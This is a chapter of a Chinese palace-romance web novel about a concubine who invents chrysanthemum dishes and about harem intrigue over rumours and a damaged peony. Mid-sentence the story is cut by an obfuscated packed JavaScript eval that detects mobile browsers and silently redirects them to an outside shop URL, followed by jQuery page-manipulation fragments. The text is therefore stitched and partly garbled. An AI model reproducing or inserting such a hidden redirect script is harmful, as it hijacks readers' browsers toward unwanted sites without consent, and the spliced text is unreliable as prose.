宋青黛解释:“菊花本身是中药材,食用它既能填饱肚子,又能缓解热症,可谓一举多得。”
说完她洗净双手,在菊花和大米的基础上,制作出便于长途携带且不易变味的菊叶饼和菊叶粥,取名为“行路花膳”。
原随之吃惯山珍海味,第一次看到菊叶饼,一脸茫然,“这?”
宋青黛撕开一块,放入他的口中。
饼是灰绿色,入口厚实粗糙,难以下咽。菊叶特有的清苦味道特别突出,纯粹的苦让原随之喉咙发痒,不停咳嗽。
“太苦了,真的有人愿意吃这样的东西吗?”
面对原随之的疑惑,宋青黛劝说,“菊叶饼主要是提高饱腹感,一个饼子能满足一天的需要。胃口大的人,两三个饼就可以吃饱,很适合贫苦人家。至于味道,你不觉得苦到极致也是种优点吗?”
“胡说八道。”原随之无奈地笑了笑,左手捧起一旁的菊叶粥,在唇边停顿了数秒,一咬牙,倒进口中。
菊叶粥看起来像是菜糊,大量煮得软烂的菊叶飘在上面,看上去就是浑浊的灰绿色,卖相更差。
要是太监呈上给原随之,他绝对不会吃一口。然而这是宋青黛精心制作,他还是勉为其难喝了一口粥。
菊花的苦味融到粥水里,咀嚼后还有微弱的米香,和苦味形成一种特殊的感觉。
“菊叶粥还可以,菊叶饼就算了。”原随之总结。
总之,宋青黛解决了原随之的一个难题。他看着灰绿色的饼干和粥也不觉得嫌弃,大方分给小顺子吃。
宋青黛将行路花膳设定为限购,主打先到者有份,吸引众多百姓的关注,早早就围在芳邻社旁边,看传说中能饱腹的花膳长什么样。
陆院判是第一个抢到行路花膳名额的人。虽然他不善于烹饪,但他爱吃,尤其是肉类。原本他对这种花膳是不感兴趣的,但是他的夫人多次推荐,也有些蠢蠢欲动。
他坐在马车上,吃着行路花膳,直到回家后,剩下花膳的味道还保持刚出炉的香味,不由称赞:“宋美人这招厉害,既能充当粮食,而且味道奇特,定会吸引更多的人购买。”
随从摇了摇头,大人就是喜欢宋美人,才觉得这暗绿色的饼子好吃。他觉得除了饱腹感强外,没有其他特别的新颖点。
他要是有钱,绝对不买这玩意儿,说完狠狠咬一口菊叶饼,别说,挺饱的。
一场风波就这样轻松化解,原先拔掉菊花的人垂头丧气,哭着要菊花种子重新培育。
总督仓场侍郎更是忙得不可开交,总有人邀请他去喝酒吃饭,打听花膳背后的大师傅,还指定去芳邻社,试探皇家态度。
“混账东西!我要你给宋青黛找麻烦,不是让你助她名声远扬!”温远和得到消息后,重重地把杯子砸在地上。
破碎的瓷片刺伤了手下的额头,红色的液体流下。手下赶紧说:“我们可以依靠安嫔娘娘,只要她牢牢把握住圣上的宠爱,不惧一个小小的美人。”
温远和拍了拍脑袋,“我真是气急攻心,跟一个小丫头计较什么?应该帮助阿言获得圣上的宠爱。”
于是他给温言传信,试图帮温言制造更多接触嘉平帝的机会。
温言看到信件,心里慌张,自然是知道原随之没有爱过她,提为安嫔,为的就是利用温家来对付贵妃。如今贵妃倒台,温远和被流放西北,她更加没有利用价值。
原先还想依靠宋青黛扳倒贵妃,逼皇帝亲近温家,可如今只是一场空。
温言只能用语言搪塞温远和,希望他放弃这个念头。
温远和持续施加压力,甚至搬起孝道威胁。
旁观全局的吴嬷嬷低着头,掩盖眼中的疯狂,“解铃还须系铃人,不如从宋美人下手。”
温言一脸不虞,“你不是忠心耿耿?怎么如今反倒算计起宋青黛?”
吴嬷嬷听到她的冷嘲热讽,紧紧握住掩盖在衣袖下的手,悲声道:“奴才知道,只有安嫔娘娘过得好,才有安稳日子过。”
说完靠过去,小声嘀咕着什么。
温言嚣张大笑,她总算听到这段日子来的好消息,势必一举拿下宋青黛。
很快,宋青黛发现后宫有不少流言,传闻皇帝深爱贵妃,而她则是那个可怜的白月光替身。
知道这件事时,她呆呆地坐在椅子上,眼睛无光,失了魂。
算了,毕竟贵妃认识嘉平帝在先,宋青黛安慰自己。
原随之听到风言风语,让小顺子送来各种各样稀奇的小礼物,极力安抚她。
其中一个药王杵深得她心,拇指大小,被宋青黛用来捣碎花材。
嘉平帝的讨好稳住了宋青黛急速下坠的心,她狠下心来,不再管外面流言蜚语,专注于花膳的创新。
“宋美人,安嫔让我交这封信给你。”吴嬷嬷祈求道。
许久未见吴嬷嬷,她两鬓发白,明明是三十多岁的人,看上去却老态龙钟。
看在往日情分上,宋青黛接过信仔细查看,信纸有些发霉发黄,应该有一段时间,上面是熟悉的笔迹,写着对某个人的思念。
宋青黛不由得紧皱眉头。
“安嫔所言为真,宋美人,一定要当心皇帝卸磨杀驴。”吴嬷嬷留下一句话后就离开。
宋青黛知道这是温言的阳谋,故意离间她和嘉平帝,嘴角勉强扬起的笑意垮下去。
她吸了吸鼻子,觉得今年的爱情运真的不顺利。先是原侍卫,然后是嘉平帝。一个有青梅竹马,一个有白月光。或许,与古人谈恋爱本来就是件高风险的事情。
牡丹的芬芳传入她的鼻腔中,失落的眼睛恢复清亮,还有更多的人期待她的花膳,宋青黛决定先挣钱,再谈爱。
原随之知道吴嬷嬷找过宋青黛,担心被误解,然而过了许久,宋青黛都没有反应,不由得有些错愕。
“主子,宋美人正在研究新的花膳,我拿来给你试吃。”小顺子说道。
原随之疑惑,“她没有打听我的消息?”
原随之万分纠结,他希望宋青黛不要吃醋,可如果她不吃醋,难道他不够深爱?还惦记着原侍卫?
原
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049463|194621||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
随之心焦意乱,主动找到宋青黛,“最近后宫有些流言蜚语,你不用放在心上。”
宋青黛淡淡一笑:“我明白,我现在就是要做出一番事业,稳定芳邻社,会把个人情感放在一边。”
她的回答很体面,原随之的心被堵塞,苦涩至极。爱人成了事业狂怎么办?还是自己一力促成。
“或许可以让太后提醒宋美人。”小顺子提醒。
原随之跟太后的关系不算好,直接去寻求帮助让他放不下面子,但为了宋青黛,他只能试一试。
太后很快就召见宋青黛,“听说皇帝赠与你玉制玉制的药王杵,看得出他非常重视你,相信你的能力。”
宋青黛不明白太后的暗示,只能称是。
太后递过一盆洁白小巧的花朵,“这是长风国传来的茉莉,你看看能不能培养。”
茉莉花?宋青黛惊喜地瞪大眼睛。
“看来你认识这花,那就不必让皇帝传授你养花知识了。”太后似乎有些失落。
嘉平帝会养花?宋青黛陷入迷茫。
“皇帝是种花的一把好手,你有事可以多跟他沟通,说不定会有很多奇思妙想。”太后摆了摆手,让她退下。
宋青黛不想麻烦嘉平帝,况且,她也不认为一个高高在上的皇帝懂得种花之术。
但很快,培养茉莉时就出现温度问题,冬天寒冷干燥,茉莉花难以生长。
宋青黛打算做一个温室安置花朵。
“后宫有火室,你可以把花放在那里。”原随之主动说。
见到许久未见的嘉平帝,宋青黛嘴角上扬,刹那间又僵住,十分诡异。
原随之没发现她的不对劲,努力找话题聊天。
想到太后说嘉平帝会养花,宋青黛忍不住问了一些关于茉莉的事情。对方侃侃而谈,显得胸有成竹。
宋青黛感慨道:“原来陛下私下喜欢养花,实在文雅。”
原随之沉笑了笑,嗯了一声,决定跟她一起制作茉莉香。
两人相处十分自然。原随之沉浸在这美好中,竟有些不能自拔,又讲了一些关于芳邻社的经营问题才告辞离开。
宋青黛想要挖土验证嘉平帝的经验是否正确。突然间,她发现靠边的地方长着一株衰弱的花朵。
不是她精心培育的牡丹!
她走过去一看,旁边还有一串省略号,正是她交给小松子的暗号,想必是吴嬷嬷在传递信息给她。
宋青黛不想掺和进安嫔的事情中,转身离开。走了几步,又觉得有些难受。挖开泥土,她掏出一张纸,上面写着:“皇帝,曾对牡丹下手。”
宋青黛想起原主培育的魏紫,陷入迷惘。
原主时刻守着魏紫,只有嘉平帝能靠近她,总不能真的是原主有问题,一夜之间让牡丹凋零。
再看今天原随之的表现,他对花朵有着自己独特的理解,身上的疑点明显增多。
宋青黛越想越心惊,但又觉得不对劲,嘉平帝表现得十分坦然,不像是曾经对她动手。
那会是谁?